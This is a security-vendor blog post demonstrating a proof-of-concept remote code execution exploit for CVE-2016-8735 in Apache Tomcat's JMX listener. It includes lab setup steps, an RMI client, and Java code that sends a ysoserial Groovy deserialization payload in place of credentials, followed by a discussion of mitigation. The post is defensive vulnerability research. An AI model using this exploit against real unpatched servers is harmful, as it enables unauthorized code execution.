Achieving RCE on Tomcat via CVE-2016-8735 — A Proof of Concept

Conor O'Neill
Tenable TechBlog
Published in
7 min readMar 8, 2019

Introduction

Among other tasks, the Vulnerability Detection (VD) team at Tenable Research is responsible for ensuring the detection provided by Nessus to our customers is kept accurate & up to date with the latest vulnerabilities. As part of this process, we occasionally develop custom exploits.

In this post I will outline the process of developing an exploit for a vulnerability (CVE-2016–8735) in the popular servlet container — Tomcat.

Some Background

The scourge of deserialization vulnerabilities on the Java platform has been well documented in recent times. CVE-2016–8735 is yet another example of a vulnerability caused by unsafe deserialization. Serialization is the process of converting a Java object graph to a stream of bytes. Deserialization is the inverse of this process — converting a stream of bytes to a Java object. The process is illustrated in the infographic below.

Generally, serialization is required when a developer needs an object to be sent across a network or stored in a file or database for later usage. However, problems emerge when developers make assumptions about the types of objects a client will send to their application.

Let’s take a look at the vulnerability.

In CVE-2016–8735’s description, NVD states: “Remote code execution is possible with Apache Tomcat […] if JmxRemoteLifecycleListener is used and an attacker can reach JMX ports.”

Let’s begin by inspecting the JmxRemoteLifecycleListener class and its uses. JavaDoc at the top of the class informs us that: “This listener fixes the port used by JMX/RMI Server making things much simpler if you need to connect jconsole or similar to a remote Tomcat instance.” Upon further investigation of the class, I would suggest the above is somewhat misleading. The class does fix the port of the RMI server. However, it also sets numerous configuration options (e.g. SSL, password authentication, bind address to name a few).

Next, we take a look at what has changed between the vulnerable and fixed versions of the class. Diffing the class in versions 8.0.36 & 8.0.39 we see the addition of the following in the latter:

env.put(“jmx.remote.rmi.server.credential.types”, new String[] { String[].class.getName(), String.class.getName() });

env in this context is a HashMap passed to the createServer method to customise the properties of the RMI server. The addition of this line restricts the accepted types which may be used to authenticate to Strings and String arrays. A similar fix was applied during the Oracle 2016 April CPU to the core Java platform in the area of RMI to address CVE-2016–3427. However, it seems previous versions of the Tomcat implementation were not updated in line with this.

Setting up your vulnerable Tomcat instance

The vulnerability exists in numerous versions of Tomcat. For the purposes of this POC we will utilise 8.0.36 & 8.0.39 as our vulnerable and patched versions respectively. Following the completion of the below steps you will have a Tomcat instance which is listening for connections on ports 8080 (HTTP), 10001(RMI registry) & 10002(RMI server). The registry acts as a place where the server may register services it offers which clients may query. In our case we will restrict access to the registry behind file-based authentication which we configure below.

  • Download & unpack Tomcat 8.0.36
root@tomcat-server $ wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz && tar -xvf apache-tomcat-8.0.36.tar.gz
  • Download the catalina-jmx-remote jar (contains the vulnerable class) from the extras directory of the Tomcat archives, groovy-2.3.9 (required for RCE) and place both in the $tomcat/lib/ directory.
root@tomcat-server $ cd apache-tomcat-8.0.36/lib/ && wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar && wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
  • To configure the registry to require a username / password combination for authentication, create files named jmxremote.access & jmxremote.password under $tomcat/conf containing the following
root@tomcat-server $ echo “admin password” > apache-tomcat-8.0.36/conf/jmxremote.access
root@tomcat-server $ echo “admin readwrite” > apache-tomcat-8.0.36/conf/jmxremote.password
  • Create a file named setenv.sh under the $tomcat/bin directory and add the following to it. catalina.sh will check for the existence of this file and execute it as part of the start up process.
root@tomcat-server $ vi apache-tomcat-8.0.36/bin/setenv.sh
export JAVA_OPTS=”-Dcom.sun.management.jmxremote.password.file
=$CATALINA_BASE/conf/jmxremote.password \
-Dcom.sun.management.jmxremote.access.file
=$CATALINA_BASE/conf/jmxremote.access \
-Dcom.sun.management.jmxremote.ssl=false \
-Djava.net.preferIPv4Stack=true \
-Djava.net.preferIPv4Addresses=true“
  • Edit the server.xml file under the conf directory to include the following (bolded parts are the additions).
root@tomcat-server $ vi apache-tomcat-8.0.36/conf/server.xml<ListenerclassName=”org.apache.catalina.core.ThreadLocalLeakPreventionListener”/><Listener className=”org.apache.catalina.mbeans.JmxRemoteLifecycleListener” rmiRegistryPortPlatform=”10001" rmiServerPortPlatform=”10002" rmiBindAddress=”<your-server-ip>” /><! — Global JNDI resources Documentation at /docs/jndi-resources-howto.html
  • Start Tomcat and verify the expected ports are listening.
root@tomcat-server$ apache-tomcat-8.0.36/bin/catalina.sh start
root@tomcat-server$ netstat -antp | grep -i “listen”
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 4863/java
tcp 0 0 172.26.24.173:10001 0.0.0.0:* LISTEN 4863/java
tcp 0 0 172.26.24.173:10002 0.0.0.0:* LISTEN 4863/java

Contacting the Registry

In order to contact & authenticate with the listening registry we require a simple RMI client.

public class SimpleRMIClient {
public static void main(String [] args) {
String [] creds = new String [] {“admin”, “password”};
HashMap<String, Object> env = new HashMap<>();
env.put(JMXConnector.CREDENTIALS, creds);
String host = args[0];
String port = args[1];
String url = “service:jmx:rmi:///jndi/rmi://” + host + “:”
+ port + “/jmxrmi”;
System.out.println(JMXConnectorFactory.connect(new
JMXServiceURL(url), env).getConnectionId());
}
}

We begin by creating a String array containing the credentials we specified during the setup of our Tomcat server earlier. Next we place these into a HashMap with the JMXConnector.CREDENTIALS key. We then create a connection url pointing to our listening service and pass it along with our HashMap to the JMXConnectorFactory to make our connection. We are returned a JMXConnector object which we can use to manage the connection from the client side. Here we simply print the ID associated with this connection and exit.

We can build and run the above using the command below:

root@debian-local$ javac *.java && java SimpleRMIClient <server-ip> 10001
rmi://172.26.24.251 admin 1

Ok so we have successfully authenticated with the registry. Now for some fun..

Exploiting the Registry

Let’s augment our existing code to generate an object capable of executing arbitrary code and send it to the registry in place of our credentials for deserialization. To do this, we will leverage a project named ysoserial which generates payloads to exploit unsafe Java deserialization.

public static void main(String[] args) throws Throwable {
Object payload = new PayloadGenerator(“touch
/tmp/rce.txt”).generateObjectPayload();
if (payload == null) {
System.err.println(“[-] Error creating object
payload.Exiting.. “);
System.exit(1);
} HashMap<String,Object> env = new HashMap<>();
env.put(JMXConnector.CREDENTIALS, payload);
String host = args[0];
String port = args[1];
String url = “service:jmx:rmi:///jndi/rmi://” + host
+ “:” + port + “/jmxrmi”;
// Launch exploit
JMXConnectorFactory.connect(new JMXServiceURL(url), env);
}
/**
* Wrapper around ysoserial ObjectPayload class for ease of use.
*/
private static final class PayloadGenerator {
private String command;
private String payloadType = “Groovy1”;

PayloadGenerator(String command) {
this.command = command;
}

Object generateObjectPayload() {
Class<? extends ObjectPayload> payloadClass =
ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println(“[-] Invalid payload type ‘“
+ payloadType + “‘“);
return null;
}
try {
ObjectPayload payload = payloadClass.newInstance();
return payload.getObject(command);
} catch (Throwable t) {
// do nothing, returning null anyway.
}
return null;
}
}}

Most of this code should look familiar. We have added a wrapper class to encapsulate the functionality of the ysoserial ObjectPayload class named PayloadGenerator. The constructor takes the command we wish to execute, in this case simply: “touch /tmp/rce.txt” . We invoke generateObjectPayload which returns the payload object we will send across to the registry. The String array containing the credentials from earlier is then replaced by this object and a connection is attempted.

To achieve code execution, Ysoserial requires a vulnerable Java library to be on the classpath of the server. These vulnerable libraries have been identified to contain combinations of classes (AKA gadget chains) which may be leveraged to execute arbitrary commands. It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

For the purposes of this POC, we have selected Groovy as our vulnerable library (as we have purposely placed it on the server’s classpath), although attackers will commonly run their exploits with all known vulnerable libraries in an effort to maximise their chances of success.

The GIF below illustrates the exploit running against a vulnerable server.

Running the exploit

Vulnerability Mitigation.

The vulnerability was mitigated by specifying a whitelist of trusted classes which may be deserialized when authenticating with the RMI registry (in this case objects of type String & String array are permitted). If a class is encountered which isn’t of these types, deserialization is prevented from occurring. This is obviously not an optimal solution. If vulnerabilities are discovered in either of these types, the vulnerability could become exploitable again.

Recent versions of Java have introduced a deserialization filter which provides the functionality to limit the types of object & depth of the object graphs which can be deserialized by an application. However, this requires in-depth profiling of our applications to set an appropriate value — something which requires a significant time & resource investment to do effectively. There is also a high risk of breaking a previously functioning application so a comprehensive QA cycle would be required before deploying applications with these protection measures enabled.

It is clear the problem of Java unsafe deserialization attacks is not something which will be solved in the near future, at least not in a one size fits all manner.

Further Resources

--

--